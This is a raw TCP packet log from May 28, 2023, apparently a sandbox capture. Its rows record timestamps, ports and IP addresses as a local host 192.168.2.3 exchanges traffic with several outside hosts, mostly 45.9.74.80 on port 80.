May 28, 2023 10:42:55.191951990 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.192174911 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.192222118 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.192240953 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.192368031 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.192636013 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.192883968 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.192959070 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.192976952 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.193131924 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.193205118 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.193336964 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.193353891 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.199074984 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.199223995 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.199295998 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.199318886 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.199423075 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.199744940 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.199744940 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.199795008 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.199816942 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.552891970 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:55.569350958 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:55.570382118 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:55.606479883 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.606560946 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.606667042 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.711253881 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.725697041 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.725758076 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.727569103 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.728370905 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.728560925 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.728594065 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.744746923 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.744797945 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.796437025 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.797406912 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.821858883 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.821921110 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.822453976 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.822850943 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.863019943 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.863116980 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.863400936 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.879771948 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.893085957 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.893085957 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.909554005 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.909610987 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.916470051 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.916625023 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.918103933 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.952665091 CEST	49724	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:55.952713966 CEST	443	49724	162.0.217.254	192.168.2.3
May 28, 2023 10:42:55.970280886 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.970336914 CEST	80	49726	188.114.96.7	192.168.2.3
May 28, 2023 10:42:55.971275091 CEST	49726	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:55.982883930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:55.983483076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.007808924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.008058071 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.008541107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.008804083 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.009015083 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.033972025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034029961 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034050941 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034073114 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034095049 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034116030 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034137011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034152031 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.034159899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034181118 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034194946 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.034194946 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.034203053 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034223080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.034327030 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.034360886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059221983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059250116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059267998 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059286118 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059305906 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059333086 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059343100 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059343100 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059364080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059396982 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059418917 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059429884 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059442997 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059462070 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059482098 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059485912 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059500933 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059520006 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059520960 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059541941 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059561014 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059562922 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059581995 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059592009 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059602976 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059623003 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059642076 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.059660912 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.059662104 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.060159922 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.084737062 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084788084 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084809065 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084829092 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084849119 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084870100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084889889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084908009 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.084909916 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084908009 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.084930897 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084952116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084971905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.084971905 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.084971905 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085002899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085033894 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085055113 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085058928 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085076094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085098028 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085119009 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085133076 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085141897 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085153103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085166931 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085175991 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085196972 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085201979 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085201979 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085216999 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085237980 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085258007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085274935 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085274935 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085278988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085299969 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085320950 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085340977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085364103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085383892 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085402012 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085402012 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085407019 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085427046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085444927 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085444927 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085447073 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085468054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085489988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085510015 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085530043 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085530996 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085530996 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085549116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085568905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085591078 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.085607052 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.085607052 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.087568998 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.110572100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.110692024 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.110774040 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.110853910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.110909939 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.110933065 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.110990047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111026049 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111073017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111155033 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111202002 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111248016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111293077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111299992 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111300945 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111339092 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111390114 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111433983 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111437082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111485004 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111532927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111537933 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111537933 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111581087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111629009 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111675978 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111722946 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111722946 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111722946 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111772060 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111819983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111865997 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111912012 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.111915112 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111915112 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.111959934 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112009048 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112054110 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112099886 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112099886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112099886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112148046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112195969 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112241983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112299919 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112299919 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112318993 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112366915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112416983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112464905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112509966 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112514019 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112514019 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112557888 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112605095 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112651110 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112698078 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112698078 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112699032 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112746000 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112793922 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112840891 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112885952 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112890959 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112890959 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.112932920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.112981081 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.113027096 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.113073111 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.113074064 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.113073111 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.113121033 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.113168955 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.113360882 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.113424063 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.138396025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138472080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138520956 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138569117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138607979 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.138616085 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138662100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138679981 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.138709068 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138736010 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.138753891 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138803005 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138834000 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.138849974 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138896942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138943911 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.138989925 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139035940 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139082909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139130116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139177084 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139198065 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139199018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139199018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139223099 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139239073 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139270067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139316082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139363050 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139411926 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139457941 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139458895 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139457941 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139506102 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139554024 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139600039 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139647007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139688015 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139688969 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139688969 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139693022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139738083 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139785051 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139831066 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139878035 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139877081 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139877081 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.139926910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139974117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.139980078 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140018940 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140065908 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140110970 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140157938 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140203953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140250921 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140312910 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140312910 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140312910 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140325069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140373945 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140423059 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140469074 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140497923 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140497923 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140516996 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140563965 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140610933 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140657902 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140705109 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.140732050 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140732050 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140732050 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.140753031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.141661882 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.165899992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.165968895 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166016102 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166062117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166127920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166174889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166199923 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166199923 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166220903 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166268110 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166311979 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166357994 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166409016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166454077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166497946 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166498899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166497946 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166498899 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166546106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166594028 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166640043 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166683912 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166696072 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166696072 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166729927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166733027 CEST	49727	80	192.168.2.3	45.9.74.80
